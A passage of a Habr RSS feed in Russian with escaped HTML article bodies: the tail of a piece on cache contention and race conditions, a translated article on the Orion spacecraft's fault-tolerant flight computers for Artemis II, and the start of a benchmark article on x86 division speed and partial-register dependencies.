Теперь Core 1 снова хочет изменить значение&lt;p&gt;Теперь происходит обратный процесс:&lt;p&gt;Core 1 → инвалидирует cache line у Core 0&lt;p&gt;Получается, что cache line начинает &lt;strong&gt;прыгать между ядрами&lt;/strong&gt;.&lt;p&gt;Core 0 &amp;lt;-&amp;gt; Core 1&lt;p&gt;Core 0 &amp;lt;-&amp;gt; Core 1&lt;p&gt;Core 0 &amp;lt;-&amp;gt; Core 1&lt;p&gt;Следовательно, становится ясно, что такая ситуация приводит к накладным расходам из-за:&lt;ol&gt;&lt;li&gt;&lt;p&gt;Задействования MESI&lt;li&gt;&lt;p&gt;Инвалидации кэша&lt;/ol&gt;&lt;p&gt;Что портит нам производительность&lt;p&gt;Такая ситуация называется &lt;strong&gt;состязанием за кэш(cache contention)&lt;/strong&gt;&lt;p&gt;Давайте зафиксируем:&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Состязание за кэш(cache contention)&lt;/strong&gt; – это проблема производительности, возникающая в многоядерных системах, когда несколько ядер процессора одновременно пытаются получить доступ к одной и той же строке кэша&lt;/blockquote&gt;&lt;p&gt;&lt;em&gt;Ремарка&lt;/em&gt;&lt;p&gt;Даже если ядра работают с разными переменными из кэша, также может возникать состязание за кэш из-за того, что 2, казалось бы, независимые переменные лежат в одной строке кэша&lt;p&gt;&lt;strong&gt;Состояние гонки&lt;/strong&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Race condition (гонка данных)&lt;/strong&gt; – ситуация, когда несколько потоков обращаются к одной памяти без синхронизации и результат зависит от порядка их выполнения&lt;/blockquote&gt;&lt;p&gt;Я думаю, что исходя из вышесказанного становится очевидно, что состояние гонки – это фундаментальная проблема вычислительных систем. Даже на таком примитивном инструменте, как ASM можно легко получить гонку&lt;p&gt;Допустим 2 ядра выполняют инструкции:&lt;pre&gt;&lt;code class=assembly&gt;mov rax, [counter]&#xA;add rax, 1&#xA;mov [counter], rax&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Вроде бы обычный инкремент, но из кода ясно, что операции вообще-то 3:&lt;p&gt;1) load&lt;p&gt;2) add&lt;p&gt;3) store&lt;p&gt;Становится неясно, кто в какой момент сделает load, инкремент, store. Тут всё по принципу “кто последний store, тот и прав”, но вот вопрос – кто. Ядра соревнуются в получении доступа и обработке данных, между ними происходит гонка, и, собственно в разных случаях выполнения одних и тех же инструкций мы получаем разные результаты – 0, 1, 2&lt;p&gt;&lt;em&gt;Думаю, что с постановкой проблем мы закончили, теперь делаем JMP на решения этих проблем, но в следующей статье!&lt;/em&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>glibus</author>
      <guid>https://habr.com/ru/articles/1024868/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024868</guid>
      <pubDate>Fri, 17 Apr 2026 19:42:43 +0000</pubDate>
    </item>
    <item>
      <title>[Перевод] Как НАСА создало отказоустойчивый компьютер для миссии «Артемида-2»</title>
      <link>https://habr.com/ru/articles/1024866/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024866</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;h3&gt;Чтобы вернуть человека на Луну, НАСА разработало архитектуру с «безотказным режимом», способную справляться со всем — от сбоев под воздействием космических лучей до полного отказа процессора&lt;/h3&gt;&lt;p&gt;Компьютерная система, установленная на борту нынешней лунной миссии «Артемида-2», кардинально отличается от той, что использовалась в эпоху «Аполлона». Астронавты «Аполлона» совершали посадку на поверхность Луны с помощью компьютера, оснащённого процессором с тактовой частотой 1 МГц и примерно 4 килобайтами памяти, дополненной более объёмным массивом постоянной памяти на ферритовых кольцах. Хотя это было чудо инженерной мысли 1960-х годов, функциональный диапазон навигационного компьютера «Аполлона» был узконаправленным и не охватывал управление каждой системой. Критические системы контроля окружающей среды и питания управлялись вручную или с помощью электромеханических средств, таких как переключатели и реле.&lt;p&gt;Миссия «Артемида-2» 2026 года, в рамках которой впервые за более чем 50 лет экипаж из четырёх человек совершил облёт Луны, поддерживается одной из самых отказоустойчивых компьютерных систем, созданных для космических полётов. В отличие от «Аполлона», вычислительная архитектура капсулы «Орион» управляет практически всеми критически важными для безопасности корабля функциями — от систем жизнеобеспечения до маршрутизации связи.&lt;p&gt;Когда миссия находится в 400 000 км от Земли, сбой так просто не устранить. Там нет взлётно-посадочных полос для аварийной посадки и нет техников, которые могли бы заменить сгоревшую материнскую плату. Каждую подсистему необходимо спроектировать так, чтобы она выдерживала переключения битов под воздействием космических лучей, справлялась с вызванными радиацией замыканиями и аппаратными сбоями без единой секунды простоя.&lt;p&gt;«Мы по-прежнему разрабатываем архитектуру с учётом возможных сбоев оборудования, — говорит Нейт Уитенбрук, руководитель отдела интеграции и верификации программного обеспечения в программе „Орион“ НАСА в Космическом центре Джонсона. — Наряду с физически дублированными кабелями у нас есть логически дублированные сетевые каналы. У нас есть дублированные полётные компьютеры. Всё это предусмотрено для того, чтобы компенсировать сбой оборудования».&lt;p&gt;Одной из главных причин такой избыточности является суровая радиационная среда космоса, где высокоэнергетические частицы могут влиять на авионику и создавать «неверные ответы», которые необходимо отфильтровывать из полётных решений.&lt;h2&gt;Сила восьмерых&lt;/h2&gt;&lt;p&gt;Чтобы гарантировать, что эти неверные ответы никогда не дойдут до двигателей космического корабля, НАСА пошло дальше тройной избыточности традиционных систем. «Орион» использует два компьютера управления кораблём, каждый из которых содержит два модуля управления полётом (МУП), что в сумме даёт четыре МУП. Но избыточность идёт ещё дальше: каждый МУП состоит из пары процессоров, проверяющих друг друга.&lt;p&gt;Фактически восемь процессоров запускают программное обеспечение полёта параллельно. Инженерная философия основана на конструкции с «бесшумным отказом». Пары с функцией самопроверки гарантируют, что если процессор выполнит ошибочный расчёт из-за радиационного воздействия, ошибка будет немедленно обнаружена, и система отреагирует.&lt;p&gt;«Неисправный компьютер перейдёт в режим „бесшумного отказа“, а не будет передавать неверный ответ», — пояснил Уитенбрук. Такой подход упрощает сложную задачу механизма голосования в триплексной системе, которая сравнивает результаты. Вместо того чтобы сравнивать три ответа для определения верного большинством голосов, система использует алгоритм выбора источника, упорядоченный по приоритету, среди исправных каналов, которые не перешли в режим «бесшумного отказа». Она выбирает выходной сигнал от первого доступного МУП в списке приоритетов; если этот модуль перестал работать из-за неисправности, она переходит ко второму, третьему или четвёртому.&lt;p&gt;Этот уровень избыточности специально рассчитан на суровые условия глубокого космоса. НАСА ожидало временные сбои во время пролёта миссии «Артемида-2» через пояса Ван Аллена с высоким уровнем радиации.&lt;p&gt;«Мы можем потерять три МУП за 22 секунды и всё равно безопасно пролететь на последнем МУП», — сказал Уитенбрук. Однако МУП, перешедший в режим «бесшумного отказа», не становится мёртвым грузом; система спроектирована так, чтобы перезагрузиться, повторно синхронизировать своё состояние с работающими модулями и вновь присоединиться к группе в полёте.&lt;h2&gt;Обеспечение детерминированности&lt;/h2&gt;&lt;p&gt;Обеспечение синхронной работы нескольких независимых компьютеров — известная проблема в информатике, поскольку даже небольшие отклонения во времени или различия в работе процессоров могут привести к тому, что исправные компьютеры будут казаться несинхронизированными. НАСА решает эту проблему с помощью строго детерминированной архитектуры.&lt;p&gt;Эта архитектурная дисциплина становится всё более редким явлением в современной разработке. Майкл Райли, руководитель группы в Институте программной инженерии Университета Карнеги-Меллон, ранее сотрудничавший с НАСА по адаптации инструментов оценки рисков для миссии «Орион», отметил, что в то время как предыдущие поколения разработчиков работали в условиях строгих аппаратных ограничений, современная разработка критически важных систем отличается от них.&lt;p&gt;«Современные подходы Agile и DevOps отдают приоритет итерациям, что может создавать проблемы для архитектурной дисциплины», — пояснил Райли. «В результате накапливается технический долг, а это негативно сказывается на удобстве обслуживания и отказоустойчивости системы».&lt;p&gt;В «Орионе» используется сеть Ethernet с временным триггером, в которой время распределяется по всей системе. Полётное программное обеспечение работает в рамках «основных фреймов», разделённых на «второстепенные фреймы», управляемые планировщиком, совместимым со стандартом ARINC653. Эта архитектура использует разделение по времени и пространству для планирования разделов внутри этих фреймов, обеспечивая идеальное согласование входов и выходов с сетевым расписанием.&lt;p&gt;«Эта архитектура гарантирует, что каждый МУП видит одни и те же входные данные, запускает один и тот же код приложения и генерирует одинаковые выходные данные», — сказал Уитенбрук. Каждую секунду измеряется отклонение любого отдельного МУП, и его локальные часы перекалибруются в соответствии с «истинным» временем сети. Если приложение не укладывается в строго назначенный срок, модуль автоматически отключается, сбрасывается и повторно синхронизируется.&lt;p&gt;Само аппаратное обеспечение также усилено. В системе используется память с тройной модульной избыточностью, которая при каждом чтении самостоятельно исправляет однобитовые ошибки. Даже сетевые интерфейсные карты используют два канала передачи данных, которые постоянно сравниваются, благодаря чему переключение бита в коммуникационной структуре приводит к «бесшумному отказу», а не к повреждению команды. Сама сеть имеет тройную избыточность благодаря трём отдельным логическим уровням, а все сетевые коммутаторы используют алгоритмы самопроверки.&lt;h2&gt;Крайние меры безопасности&lt;/h2&gt;&lt;p&gt;Хотя основная система с четырьмя МУП является надёжной, НАСА всё же должно учитывать сбои общего режима — программные ошибки или катастрофические события, которые теоретически могут повлиять на все основные каналы одновременно.&lt;p&gt;Чтобы снизить эти риски, «Орион» оснастили полностью независимой системой резервного полётного программного обеспечения (РППО). Это яркий пример разнородной избыточности. Она реализована на другом аппаратном обеспечении, работает под управлением другой операционной системы и использует независимо разработанное, упрощённое полётное программное обеспечение.&lt;p&gt;«Она намеренно отличается, чтобы гарантировать, что сбой программного обеспечения в режиме общего режима в основном полётном программном обеспечении не будет продублирован в резервной системе», — сказал Уитенбрук. РППО постоянно работает в фоновом режиме и автоматически берёт на себя управление, если основные компьютеры выходят из строя. Если система переходит на РППО, она может завершить все динамические части миссии, чтобы достичь фазы покоя, после чего экипаж может попытаться восстановить основные МУП.&lt;p&gt;Райли подчеркнул, что, хотя логика «бесшумного отказа» имеет решающее значение, она должна сочетаться с активным мониторингом, чтобы избежать катастрофических провалов.&lt;p&gt;«Если программный компонент выходит из строя без видимых признаков, сбой может остаться незамеченным, если его не отслеживает другой компонент или сторожевой таймер», — сказал он. По его словам, для обеспечения надёжности миссии механизмы обнаружения ошибок и восстановления должны быть явно спроектированы и согласованы на всех уровнях кодовой базы, чтобы гарантировать согласованное поведение.&lt;p&gt;Даже в случае полной потери питания — так называемой «мёртвой шины» — «Орион» рассчитан на выживание. При восстановлении питания космический аппарат переходит в безопасный режим: сначала он стабилизируется, затем направляет солнечные батареи на Солнце для восстановления энергии. После этого он ориентирует свой хвост в сторону Солнца для обеспечения тепловой стабильности, прежде чем пытаться восстановить связь с Землёй. Во время такой аварии экипаж также может предпринимать определённые действия вручную, настраивая системы жизнеобеспечения или надевая скафандры.&lt;h2&gt;Будущее надёжности&lt;/h2&gt;&lt;p&gt;Переход от программы «Аполлон» к программе «Артемида» представляет собой огромный скачок в сложности программного обеспечения. Хотя бортовой управляющий компьютер «Аполлона» был выдающимся достижением, наличие механических резервных систем означало, что компьютер не был единственным гарантом выживания экипажа. Сегодня, когда программное обеспечение управляет каждым термоклапаном и силовым реле, задача состоит в том, чтобы обеспечить синхронизацию и работоспособность программного обеспечения в условиях интенсивного космического излучения.&lt;p&gt;Чтобы достичь такого уровня уверенности, НАСА в настоящее время использует современные процедуры проверки. Они включают моделирование условий, приближённых к реальным, и стресс-тестирование по методу Монте-Карло для моделирования наихудших вариантов задержек и сбоев связи. Высокопроизводительные суперкомпьютеры используются для крупномасштабного внедрения ошибок, эмулируя целые этапы полёта, в которые вводятся катастрофические сбои оборудования, чтобы проверить, сможет ли программное обеспечение успешно пережить «бесшумный отказ» и восстановить работу.&lt;p&gt;Поскольку технологии космических полётов исторически способствовали коммерческому прогрессу, архитектура «Ориона» с нулевой терпимостью к ошибкам даёт представление о будущем, в котором основные вычислительные системы — от автономных транспортных средств до промышленных сетей — смогут достичь той же непрерывной отказоустойчивости, которая требуется для полётов к звёздам.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>SLY_G</author>
      <guid>https://habr.com/ru/articles/1024866/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024866</guid>
      <pubDate>Fri, 17 Apr 2026 19:33:58 +0000</pubDate>
    </item>
    <item>
      <title>Как одна буква в ассемблере стоит 3× производительности</title>
      <link>https://habr.com/ru/articles/1024862/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024862</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;p&gt;Я хочу показать вам, как одна буква в ассемблере может стоить 3× производительности. Не в теории — на живых замерах. По дороге мы заглянем внутрь процессора: Register Alias Table, partial register merge, scheduler, latency vs throughput, и даже обнаружим, что делитель выдаёт остаток раньше частного.&lt;p&gt;Но начнём с основ. Приготовьтесь: кроличья нора окажется глубже, чем кажется.&lt;h3&gt;Немного контекста&lt;/h3&gt;&lt;p&gt;Процессор x86-64 работает с &lt;strong&gt;регистрами&lt;/strong&gt; — быстрыми ячейками прямо внутри CPU. Их немного (16 основных), зато доступ к ним — за доли такта, в отличие от оперативной памяти, где задержка может достигать сотен тактов.&lt;p&gt;Главный нюанс: у каждого регистра есть &lt;strong&gt;части разного размера&lt;/strong&gt;, унаследованные от предыдущих поколений архитектуры:&lt;pre&gt;&lt;code&gt;┌───────────────────────────────────────────────────────────────┐&#xA;│                           rax (64 бит)                        │&#xA;├───────────────────────────────┬───────────────────────────────┤&#xA;│          (верхние 32)         │           eax (32 бит)        │&#xA;│                               ├───────────────┬───────────────┤&#xA;│                               │               │   ax (16 бит) │&#xA;│                               │               ├───────┬───────┤&#xA;│                               │               │ah (8) │al (8) │&#xA;└───────────────────────────────┴───────────────┴───────┴───────┘&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:87px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;rax&lt;/code&gt;, &lt;code&gt;eax&lt;/code&gt;, &lt;code&gt;ax&lt;/code&gt; — это не разные регистры. Это &lt;strong&gt;один и тот же регистр&lt;/strong&gt;, просто вы указываете, какую часть хотите использовать. Запись в &lt;code&gt;eax&lt;/code&gt; меняет нижние 32 бита &lt;code&gt;rax&lt;/code&gt;. Запись в &lt;code&gt;ax&lt;/code&gt; — нижние 16. Это важно — и именно здесь спрятана ловушка, о которой пойдёт речь.&lt;p&gt;Таких регистров 16: &lt;code&gt;rax&lt;/code&gt;, &lt;code&gt;rbx&lt;/code&gt;, &lt;code&gt;rcx&lt;/code&gt;, &lt;code&gt;rdx&lt;/code&gt;, &lt;code&gt;rsi&lt;/code&gt;, &lt;code&gt;rdi&lt;/code&gt;, &lt;code&gt;rbp&lt;/code&gt;, &lt;code&gt;rsp&lt;/code&gt;, &lt;code&gt;r8&lt;/code&gt;–&lt;code&gt;r15&lt;/code&gt;. Для нашей истории важны два: &lt;code&gt;rax&lt;/code&gt; и &lt;code&gt;rdx&lt;/code&gt; — потому что именно их использует инструкция деления.&lt;h4&gt;Целочисленное деление на x86&lt;/h4&gt;&lt;p&gt;Инструкция &lt;code&gt;div&lt;/code&gt; (беззнаковое деление) и &lt;code&gt;idiv&lt;/code&gt; (знаковое) работают так: делимое берётся из &lt;strong&gt;пары&lt;/strong&gt; регистров, делитель — из операнда, результат раскладывается обратно:&lt;pre&gt;&lt;code&gt;┌──────────┬────────────────┬──────────────┬─────────────────────┐&#xA;│ Размер   │ Делимое        │ Частное в    │ Остаток в           │&#xA;├──────────┼────────────────┼──────────────┼─────────────────────┤&#xA;│ 16-бит   │ dx:ax          │ ax           │ dx                  │&#xA;├──────────┼────────────────┼──────────────┼─────────────────────┤&#xA;│ 32-бит   │ edx:eax        │ eax          │ edx                 │&#xA;├──────────┼────────────────┼──────────────┼─────────────────────┤&#xA;│ 64-бит   │ rdx:rax        │ rax          │ rdx                 │&#xA;└──────────┴────────────────┴──────────────┴─────────────────────┘&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Перед делением нужно подготовить делимое в паре &lt;code&gt;rdx:rax&lt;/code&gt; (или &lt;code&gt;edx:eax&lt;/code&gt;, или &lt;code&gt;dx:ax&lt;/code&gt;). Верхнюю часть обычно обнуляют через &lt;code&gt;mov&lt;/code&gt; или &lt;code&gt;xor&lt;/code&gt;.&lt;h4&gt;Как работает цикл&lt;/h4&gt;&lt;p&gt;В ассемблере нет &lt;code&gt;for&lt;/code&gt; и &lt;code&gt;while&lt;/code&gt;. Цикл — это метка, тело и условный переход:&lt;pre&gt;&lt;code class=assembly&gt;    mov ecx, 100       ; счётчик = 100&#xA;.loop:&#xA;    ; ... тело цикла ...&#xA;    dec ecx             ; счётчик -= 1&#xA;    jnz .loop           ; если не ноль — прыгаем назад&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;dec ecx&lt;/code&gt; уменьшает счётчик на 1 и выставляет флаги. &lt;code&gt;jnz&lt;/code&gt; (jump if not zero) проверяет флаг и прыгает, если результат не ноль. Процессор умеет сливать эти две инструкции в одну операцию (macro-fusion), поэтому пара &lt;code&gt;dec&lt;/code&gt;+&lt;code&gt;jnz&lt;/code&gt; стоит всего 1 такт.&lt;h3&gt;Эксперимент&lt;/h3&gt;&lt;p&gt;Вопрос: сколько тактов процессора стоит одна инструкция &lt;code&gt;div&lt;/code&gt;?&lt;p&gt;Контекст может сильно влиять на результат — кэш, предсказание переходов, другие инструкции рядом. Чтобы измерить стоимость деления в чистом виде, напишем плоский цикл на 1920×1080 = 2 073 600 итераций. Почему такое число? Представьте рендер: 1920×1080 пикселей, на каждый — деление.&lt;p&gt;Тело цикла: два &lt;code&gt;mov&lt;/code&gt; для подготовки делимого + инструкция деления. Все делят одно и то же: 536700 / 2700. Подготовка регистров — стандартная для каждого размера:&lt;pre&gt;&lt;code class=assembly&gt;; 16-бит unsigned                ; 16-бит signed&#xA;mov dx, 0x0008                   mov dx, 0x0008&#xA;mov ax, 0x2B7C                   mov ax, 0x2B7C&#xA;div word [best_den]              idiv word [best_den]&#xA;&#xA;; 32-бит unsigned                ; 32-бит signed&#xA;mov edx, 0                       mov edx, 0&#xA;mov eax, 536700                  mov eax, 536700&#xA;div dword [best_den]             idiv dword [best_den]&#xA;&#xA;; 64-бит unsigned                ; 64-бит signed&#xA;mov rdx, 0                       mov rdx, 0&#xA;mov rax, 536700                  mov rax, 536700&#xA;div qword [best_den]             idiv qword [best_den]&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Но сначала проверим, сколько стоит сам цикл без деления — только setup:&lt;pre&gt;&lt;code&gt;┌────────────────────────────────┬──────────┐&#xA;│ Setup (без div)                │ cpr      │&#xA;├────────────────────────────────┼──────────┤&#xA;│ 16-бит (mov dx + mov ax)       │ 1924     │&#xA;├────────────────────────────────┼──────────┤&#xA;│ 32-бит (mov edx + mov eax)     │ 1928     │&#xA;├────────────────────────────────┼──────────┤&#xA;│ 64-бит (mov rdx + mov rax)     │ 1924     │&#xA;└────────────────────────────────┴──────────┘&#xA;  (cpr = cycles per row = total / 1080)&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Все setup-ы дают ~1920 cpr — &lt;strong&gt;1 такт на итерацию&lt;/strong&gt;. Мувы бесплатны: они уходят на свободные ALU-порты параллельно с &lt;code&gt;dec&lt;/code&gt;/&lt;code&gt;jnz&lt;/code&gt;. Значит, всё что мы замерим дальше — это чистая стоимость деления.&lt;hr&gt;&lt;h3&gt;Глава 1. Странная таблица&lt;/h3&gt;&lt;p&gt;Результаты:&lt;pre&gt;&lt;code&gt;┌────────┬───────────────┬────────────────┐&#xA;│        │ signed (idiv) │ unsigned (div) │&#xA;├────────┼───────────────┼────────────────┤&#xA;│ 16-bit │ 44 447        │ 44 457         │&#xA;├────────┼───────────────┼────────────────┤&#xA;│ 32-bit │ 13 445        │ 13 445         │&#xA;├────────┼───────────────┼────────────────┤&#xA;│ 64-bit │ 52 289        │ 48 160         │&#xA;└────────┴───────────────┴────────────────┘&#xA;  (cycles per row, 1920 итераций на строку)&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Переведём в такты на одну итерацию (cpr / 1920) и вычтем стоимость цикла без инструкции деления (1 такт):&lt;pre&gt;&lt;code&gt;┌────────┬──────────────┬──────────────┬──────────────┬──────────────┐&#xA;│        │ idiv (полн.) │ idiv (чист.) │ div (полн.)  │ div (чист.)  │&#xA;├────────┼──────────────┼──────────────┼──────────────┼──────────────┤&#xA;│ 16-bit │ 23.2         │ 22.2         │ 23.2         │ 22.2         │&#xA;├────────┼──────────────┼──────────────┼──────────────┼──────────────┤&#xA;│ 32-bit │  7.0         │  6.0         │  7.0         │  6.0         │&#xA;├────────┼──────────────┼──────────────┼──────────────┼──────────────┤&#xA;│ 64-bit │ 27.2         │ 26.2         │ 25.1         │ 24.1         │&#xA;└────────┴──────────────┴──────────────┴──────────────┴──────────────┘&#xA;  (тактов на итерацию; чист. = минус стоимость цикла без деления)&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;16-бит — ~22 такта на деление. 64-бит — ~24–26 тактов. Примерно один порядок.&lt;p&gt;А 32-бит — ~6 тактов. &lt;strong&gt;Почти в 3 раза быстрее.&lt;/strong&gt;&lt;p&gt;Если бы время росло с увеличением битности — 16 &amp;lt; 32 &amp;lt; 64 — это было бы логично: больше бит, сложнее операция. Но здесь именно 32-бит выбиваются вниз. Код одинаковый по структуре: два &lt;code&gt;mov&lt;/code&gt;, один &lt;code&gt;div&lt;/code&gt;. Числа одни и те же. Единственная разница — размер регистров. Почему 32-бит настолько быстрее?&lt;hr&gt;&lt;h3&gt;Глава 2. Что происходит внутри процессора&lt;/h3&gt;&lt;p&gt;Чтобы понять, откуда разница, нужно заглянуть под капот.&lt;p&gt;Регистр &lt;code&gt;rax&lt;/code&gt;, который вы видите в коде — это не физический регистр. Это &lt;strong&gt;имя&lt;/strong&gt;. Псевдоним.&lt;p&gt;Внутри процессора есть &lt;strong&gt;register file&lt;/strong&gt; — массив из ~180 безымянных физических регистров. И таблица переназначений — &lt;strong&gt;Register Alias Table (RAT)&lt;/strong&gt; — которая в каждый момент говорит: «&lt;code&gt;rax&lt;/code&gt; — это сейчас физический регистр №47».&lt;p&gt;Когда вы пишете &lt;code&gt;mov rax, 10&lt;/code&gt;, процессор берёт из пула &lt;strong&gt;новый&lt;/strong&gt; физический регистр — скажем, №112 — записывает туда 10 и обновляет RAT: &lt;code&gt;rax → №112&lt;/code&gt;. Старый №47 живёт, пока все инструкции, которые его читают, не завершатся. Это основа &lt;strong&gt;out-of-order execution&lt;/strong&gt; — параллельного исполнения инструкций.&lt;p&gt;Теперь ключевой момент. В x86-64 есть правило:&lt;ul&gt;&lt;li&gt;&lt;p&gt;Запись в &lt;strong&gt;32-битный&lt;/strong&gt; регистр (&lt;code&gt;mov edx, ...&lt;/code&gt;) &lt;strong&gt;обнуляет верхние 32 бита&lt;/strong&gt;. Полная перезапись. Процессор создаёт новый физический регистр, старая версия не нужна. &lt;strong&gt;Зависимости нет.&lt;/strong&gt;&lt;li&gt;&lt;p&gt;Запись в &lt;strong&gt;16-битный&lt;/strong&gt; регистр (&lt;code&gt;mov dx, ...&lt;/code&gt;) верхние 48 бит &lt;strong&gt;не трогает&lt;/strong&gt;. Процессор должен создать новый &lt;code&gt;rdx&lt;/code&gt;, где нижние 16 бит — новые, а верхние 48 — из &lt;strong&gt;предыдущей версии&lt;/strong&gt;. Для этого нужно &lt;strong&gt;дождаться&lt;/strong&gt; готовности предыдущего &lt;code&gt;rdx&lt;/code&gt;. Это создаёт зависимость, которая нам не нужна — верхние 48 бит мы не используем, и они пролетают над гнездом кукушки каждый раз в неизменном виде.&lt;/ul&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/7aa/378/447/7aa378447e29426a71271272b7f67846.png width=1440 height=1016 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/7aa/378/447/7aa378447e29426a71271272b7f67846.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/7aa/378/447/7aa378447e29426a71271272b7f67846.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;В нашем 16-битном цикле это катастрофа. &lt;code&gt;div word&lt;/code&gt; записывает результат в &lt;code&gt;ax&lt;/code&gt; и &lt;code&gt;dx&lt;/code&gt; — тоже 16-битные записи. А &lt;code&gt;div word&lt;/code&gt; при этом тоже должен склеить свой результат с верхними 48 битами предыдущего &lt;code&gt;rax&lt;/code&gt; и &lt;code&gt;rdx&lt;/code&gt; — это ещё один merge. Получается, верхние 48 бит &lt;strong&gt;никому не нужны&lt;/strong&gt; — ни &lt;code&gt;div&lt;/code&gt;, ни &lt;code&gt;mov dx&lt;/code&gt; — но они протаскиваются через каждую итерацию, создавая цепочку зависимостей: &lt;code&gt;div → merge → mov dx → merge → div → ...&lt;/code&gt;. Каждая итерация ждёт предыдущую.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/372/b14/426/372b1442680587f2fa8a22deedb5e4e9.png width=1440 height=1058 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/372/b14/426/372b1442680587f2fa8a22deedb5e4e9.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/372/b14/426/372b1442680587f2fa8a22deedb5e4e9.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;В 32-битном варианте &lt;code&gt;mov edx, 0&lt;/code&gt; обнуляет верхние 32 бита — цепочка разрывается. Итерации становятся &lt;strong&gt;независимыми&lt;/strong&gt;, и процессор может перекрывать их.&lt;p&gt;Здесь нужно ввести два понятия:&lt;p&gt;&lt;strong&gt;Latency&lt;/strong&gt; — сколько тактов от начала &lt;code&gt;div&lt;/code&gt; до готовности результата. Для 16-битного &lt;code&gt;div&lt;/code&gt; на Coffee Lake: 21–22 такта (данные &lt;a href=http://uops.info rel=&#34;noopener noreferrer nofollow&#34;&gt;uops.info&lt;/a&gt;).&lt;p&gt;&lt;strong&gt;Throughput&lt;/strong&gt; — через сколько тактов делитель может принять &lt;strong&gt;следующую&lt;/strong&gt; операцию. Для 16-битного &lt;code&gt;div&lt;/code&gt;: 6 тактов (данные &lt;a href=http://uops.info rel=&#34;noopener noreferrer nofollow&#34;&gt;uops.info&lt;/a&gt;).&lt;p&gt;Делитель частично конвейеризирован: через ~6 тактов вход свободен, хотя предыдущее деление ещё не закончило.&lt;p&gt;16-бит с &lt;code&gt;mov dx&lt;/code&gt; (ненужная зависимость): каждая итерация ждёт предыдущую → bottleneck = &lt;strong&gt;latency&lt;/strong&gt; = ~22 такта.&lt;p&gt;32-бит с &lt;code&gt;mov edx&lt;/code&gt; (нет зависимости): итерации перекрываются → bottleneck = &lt;strong&gt;throughput&lt;/strong&gt; = ~6 тактов.&lt;p&gt;22 / 6 = &lt;strong&gt;~3.7×&lt;/strong&gt;. Вот почему 32-бит так выбивается в нашей таблице.&lt;p&gt;Если теория верна, то и 16-битный &lt;code&gt;div word&lt;/code&gt; должен ускориться, если мы уберём ненужную зависимость — заменим &lt;code&gt;mov dx&lt;/code&gt; на &lt;code&gt;mov edx&lt;/code&gt;. Проверим.&lt;hr&gt;&lt;h3&gt;Глава 3. Проверяем теорию&lt;/h3&gt;&lt;p&gt;Заменяем 16-битные 